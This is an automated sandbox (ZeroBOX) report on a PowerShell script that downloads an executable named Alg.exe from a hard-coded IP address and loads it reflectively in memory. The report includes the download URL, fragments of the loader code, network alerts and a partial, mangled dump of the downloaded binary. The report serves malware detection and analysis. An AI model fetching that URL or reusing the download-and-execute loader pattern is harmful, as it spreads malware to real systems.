Summary | ZeroBOX

Category	Machine	Started	Completed
FILE	s1_win7_x6402	Aug. 10, 2024, 5:33 p.m.	Aug. 10, 2024, 5:35 p.m.

Size	4.8KB
Type	ASCII text, with very long lines, with CRLF line terminators
MD5	`2ff0359741c6894d5625d156e0dba750`
SHA256	`ab8125a8e970c4782f802a76286a40452dca18771a391adbe91a888b3620115a`
CRC32	`05749C0D`
ssdeep	`96:i+SqlFtfjqcqtq2qVRiqbqEqMqzb5176zdM1pFzw7g:ipqlFtfjV2TQRi+/RqzV176zdM1Pws`
Yara	None matched

powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy unrestricted -File C:\Users\test22\AppData\Local\Temp\Info.ps1
3032

Name	Response	Post-Analysis Lookup
No hosts contacted.

IP Address	Status	Action
147.45.44.131	Active	Moloch
164.124.101.2	Active	Moloch

Suricata Alerts

Flow	SID	Signature	Category
TCP 147.45.44.131:80 -> 192.168.56.102:49163	2400022	ET DROP Spamhaus DROP Listed Traffic Inbound group 23	Misc Attack
TCP 192.168.56.102:49163 -> 147.45.44.131:80	2017681	ET HUNTING SUSPICIOUS alg.exe in URI Probable Process Dump/Trojan Download	A Network Trojan was detected
TCP 192.168.56.102:49163 -> 147.45.44.131:80	2016141	ET INFO Executable Download from dotted-quad Host	Potentially Bad Traffic
TCP 192.168.56.102:49163 -> 147.45.44.131:80	2019714	ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile	Potentially Bad Traffic
TCP 147.45.44.131:80 -> 192.168.56.102:49163	2012816	ET HUNTING EXE Using Suspicious IAT ZwUnmapViewOfSection Possible Malware Process Hollowing	Potentially Bad Traffic
TCP 147.45.44.131:80 -> 192.168.56.102:49163	2014819	ET INFO Packed Executable Download	Misc activity
TCP 147.45.44.131:80 -> 192.168.56.102:49163	2018959	ET POLICY PE EXE or DLL Windows file download HTTP	Potential Corporate Privacy Violation
TCP 147.45.44.131:80 -> 192.168.56.102:49163	2016538	ET INFO Executable Retrieved With Minimal HTTP Headers - Potential Second Stage Download	Potentially Bad Traffic
TCP 147.45.44.131:80 -> 192.168.56.102:49163	2021076	ET HUNTING SUSPICIOUS Dotted Quad Host MZ Response	Potentially Bad Traffic
TCP 147.45.44.131:80 -> 192.168.56.102:49163	2015588	ET HUNTING Suspicious Windows Executable WriteProcessMemory	Misc activity

Suricata TLS

No Suricata TLS

Queries for the computername (1 event)

Time & API	Arguments	Status	Return	Repeated
GetComputerNameW Aug. 10, 2024, 5:33 p.m.	computer_name: TEST22-PC	1	1	0

Command line console output was observed (14 events)

Time & API	Arguments	Status	Return
WriteConsoleW Aug. 10, 2024, 5:33 p.m.	buffer: Exception calling "Load" with "1" argument(s): "Could not load file or assembly console_handle: 0x00000023	1	1
WriteConsoleW Aug. 10, 2024, 5:33 p.m.	buffer: '13312 bytes loaded from System.Management.Automation, Version=1.0.0.0, Cultur console_handle: 0x0000002f	1	1
WriteConsoleW Aug. 10, 2024, 5:33 p.m.	buffer: e=neutral, PublicKeyToken=31bf3856ad364e35' or one of its dependencies. An atte console_handle: 0x0000003b	1	1
WriteConsoleW Aug. 10, 2024, 5:33 p.m.	buffer: mpt was made to load a program with an incorrect format." console_handle: 0x00000047	1	1
WriteConsoleW Aug. 10, 2024, 5:33 p.m.	buffer: At line:7 char:47 console_handle: 0x00000053	1	1
WriteConsoleW Aug. 10, 2024, 5:33 p.m.	buffer: + $assembly = [System.Reflection.Assembly]::Load <<<< ($fileBytes) console_handle: 0x0000005f	1	1
WriteConsoleW Aug. 10, 2024, 5:33 p.m.	buffer: + CategoryInfo : NotSpecified: (:) [], MethodInvocationException console_handle: 0x0000006b	1	1
WriteConsoleW Aug. 10, 2024, 5:33 p.m.	buffer: + FullyQualifiedErrorId : DotNetMethodException console_handle: 0x00000077	1	1
WriteConsoleW Aug. 10, 2024, 5:33 p.m.	buffer: You cannot call a method on a null-valued expression. console_handle: 0x00000023	1	1
WriteConsoleW Aug. 10, 2024, 5:33 p.m.	buffer: At line:13 char:19 console_handle: 0x0000002f	1	1
WriteConsoleW Aug. 10, 2024, 5:33 p.m.	buffer: + $entryPoint.Invoke <<<< ($null, $params) console_handle: 0x0000003b	1	1
WriteConsoleW Aug. 10, 2024, 5:33 p.m.	buffer: + CategoryInfo : InvalidOperation: (Invoke:String) [], RuntimeExc console_handle: 0x00000047	1	1
WriteConsoleW Aug. 10, 2024, 5:33 p.m.	buffer: eption console_handle: 0x00000053	1	1
WriteConsoleW Aug. 10, 2024, 5:33 p.m.	buffer: + FullyQualifiedErrorId : InvokeMethodOnNull console_handle: 0x0000005f	1	1

Uses Windows APIs to generate a cryptographic key (8 events)

Time & API	Arguments	Status	Return
CryptExportKey Aug. 10, 2024, 5:33 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003ae110 flags: 0 crypto_export_handle: 0x00000000 blob_type: 8	1	1
CryptExportKey Aug. 10, 2024, 5:33 p.m.	buffer: f ,ÏÄ(Èí¤õ¨6o9ÓÎN#@"çÏ:tïÅ; crypto_handle: 0x003ae110 flags: 0 crypto_export_handle: 0x00000000 blob_type: 8	1	1
CryptExportKey Aug. 10, 2024, 5:33 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003ae290 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 10, 2024, 5:33 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003ae290 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 10, 2024, 5:33 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003ae290 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 10, 2024, 5:33 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003ae290 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 10, 2024, 5:33 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003ae290 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1
CryptExportKey Aug. 10, 2024, 5:33 p.m.	buffer: <INVALID POINTER> crypto_handle: 0x003ae290 flags: 0 crypto_export_handle: 0x00000000 blob_type: 6	1	1

Checks amount of memory in system, this can be used to detect virtual machines that have a low amount of memory available (1 event)

Time & API	Arguments	Status	Return	Repeated
GlobalMemoryStatusEx Aug. 10, 2024, 5:33 p.m.		1	1	0

One or more potentially interesting buffers were extracted, these generally contain injected code, configuration data, etc.

HTTP traffic contains suspicious features which may be indicative of malware related traffic (1 event)

suspicious_features

GET method with no useragent header, Connection to IP address

suspicious_request

GET http://147.45.44.131/files/Alg.exe

Performs some HTTP requests (1 event)

request

GET http://147.45.44.131/files/Alg.exe

Allocates read-write-execute memory (usually to unpack itself) (31 events)

Time & API	Arguments	Status
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026ab000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026ff000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02689000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05620000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 327680 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef40000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 65536 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 1056768 (MEM_RESERVE\|MEM_TOP_DOWN) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x7ef30000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05621000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05630000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02912000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x02913000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x026f9000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05446000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05447000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05622000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 2162688 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 0 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x067b0000 allocation_type: 8192 (MEM_RESERVE) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06980000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06981000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06982000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06983000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x06984000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05623000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05624000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05625000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05626000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05448000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05627000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05431000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1
NtAllocateVirtualMemory Aug. 10, 2024, 5:33 p.m.	process_identifier: 3032 region_size: 4096 stack_dep_bypass: 0 stack_pivoted: 0 heap_dep_bypass: 1 protection: 64 (PAGE_EXECUTE_READWRITE) base_address: 0x05631000 allocation_type: 4096 (MEM_COMMIT) process_handle: 0xffffffff	1

File has been identified by 2 AntiVirus engines on VirusTotal as malicious (2 events)

Avast	Other:Malware-gen [Trj]
AVG	Other:Malware-gen [Trj]

Checks adapter addresses which can be used to detect virtual network interfaces (1 event)

Time & API	Arguments	Status	Return	Repeated
GetAdaptersAddresses Aug. 10, 2024, 5:33 p.m.	flags: 15 family: 0		111	0

URL downloaded by powershell script (2 events)

Data received

HTTP/1.1 200 OK Date: Sat, 10 Aug 2024 08:33:50 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Tue, 06 Aug 2024 22:42:12 GMT ETag: "3400-61f0b812b7b78" Accept-Ranges: bytes Content-Length: 13312 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELAeà"0*:I `@ `æHO`PH8 H.text@) * `.rsrc`,@@.reloc2@BIHh)è07( }}}|(+|( *( *.s *ªrp( -r p( -+rp*rp**( *0/( }}|(+|( *( *0(o ( *ÎÐ&(! rËp(" %¢%(¢o# ¥**ÎÐ&(! rÛp(" %¢%(¢o# ¥(*0yÐ&(! ($ ++Vo% rëp( ,>o& o' o% rýp( ,%(¢o# tXi2¤*0k%%r p¢%rp¢%r'p¢%rAp¢%rmp¢%rp¢%r»p¢%rÝp¢%rûp¢% r!p¢% rEp¢%rop¢*( (Ð(! (( ¥*0 8þþÐ(! () (* }~rp~+ ~+ ~+ o>-s, z<( 2XX( ³( (- 3~ {o*- s, z~ {o&-s, z)~ {Xo6-s, z3~ {o:,s, zPX( TX( ~ { 0@o.-s, z~ { o2-s, z øX X( 80Ð(! rÛp(" %¢% X(¢o# ¥(Ð(! rÛp(" %¢% X(¢o# ¥(Ð(! rÛp(" %¢% X(¢o# ¥(,w+Ð2(! rp(" %¢%(¢%¢%(¢%i(¢o# &~ {Xio2-s, z (X X?Çþÿÿ(~ {Xo2-s, z(X( ,,X(- 3~ {o"- s, z~ {o-s, z~ {o3s, zÞ#& {(. (/ o0 ÞX ?oüÿÿ*A4Au( *0ô(((+(((+(((+(((+(((+(((+((( +(( ( + ((

Data received

Poweshell is sending data to a remote host (1 event)

Data sent

GET /files/Alg.exe HTTP/1.1 Host: 147.45.44.131 Connection: Keep-Alive

Communicates with host for which no DNS query was performed (1 event)

host

147.45.44.131

Network communications indicative of a potential document or script payload download was initiated by the process powershell.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
send Aug. 10, 2024, 5:33 p.m.	buffer: GET /files/Alg.exe HTTP/1.1 Host: 147.45.44.131 Connection: Keep-Alive socket: 1584 sent: 76	1	76	0

An executable file was downloaded by the process powershell.exe (1 event)

Time & API	Arguments	Status	Return	Repeated
recv Aug. 10, 2024, 5:33 p.m.	buffer: HTTP/1.1 200 OK Date: Sat, 10 Aug 2024 08:33:50 GMT Server: Apache/2.4.52 (Ubuntu) Last-Modified: Tue, 06 Aug 2024 22:42:12 GMT ETag: "3400-61f0b812b7b78" Accept-Ranges: bytes Content-Length: 13312 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdos-program MZÿÿ¸@º´ Í!¸LÍ!This program cannot be run in DOS mode. $PELAeà"0:I `@ `æHO`PH8 H.text@) `.rsrc`,@@.reloc2@BIHh)è07( }}}\|(+\|( ( .s ªrp( -r p( -+rprp*( 0/( }}\|(+\|( ( 0(o ( ÎÐ&(! rËp(" %¢%(¢o# ¥ÎÐ&(! rÛp(" %¢%(¢o# ¥(0yÐ&(! ($ ++Vo% rëp( ,>o& o' o% rýp( ,%(¢o# tXi2¤0k%%r p¢%rp¢%r'p¢%rAp¢%rmp¢%rp¢%r»p¢%rÝp¢%rûp¢% r!p¢% rEp¢%rop¢( (Ð(! (( ¥0 8þþÐ(! () ( }~rp~+ ~+ ~+ o>-s, z<( 2XX( ³( (- 3~ {o- s, z~ {o&-s, z)~ {Xo6-s, z3~ {o:,s, zPX( TX( ~ { 0@o.-s, z~ { o2-s, z øX X( 80Ð(! rÛp(" %¢% X(¢o# ¥(Ð(! rÛp(" %¢% X(¢o# ¥(Ð(! rÛp(" %¢% X(¢o# ¥(,w+Ð2(! rp(" %¢%(¢%¢%(¢%i(¢o# &~ {Xio2-s, z (X X?Çþÿÿ(~ {Xo2-s, z(X( ,,X(- 3~ {o"- s, z~ {o-s, z~ {o3s, zÞ#& {(. (/ o0 ÞX ?oüÿÿA4Au( *0ô(((+(((+(((+(((+(((+(((+((( +(( ( + (( received: 2720 socket: 1584	1	2720	0

Info.ps1

Process Tree Toggle all

Network Toggle all

Suricata Toggle all

Suricata Alerts

Suricata TLS

Signatures Toggle All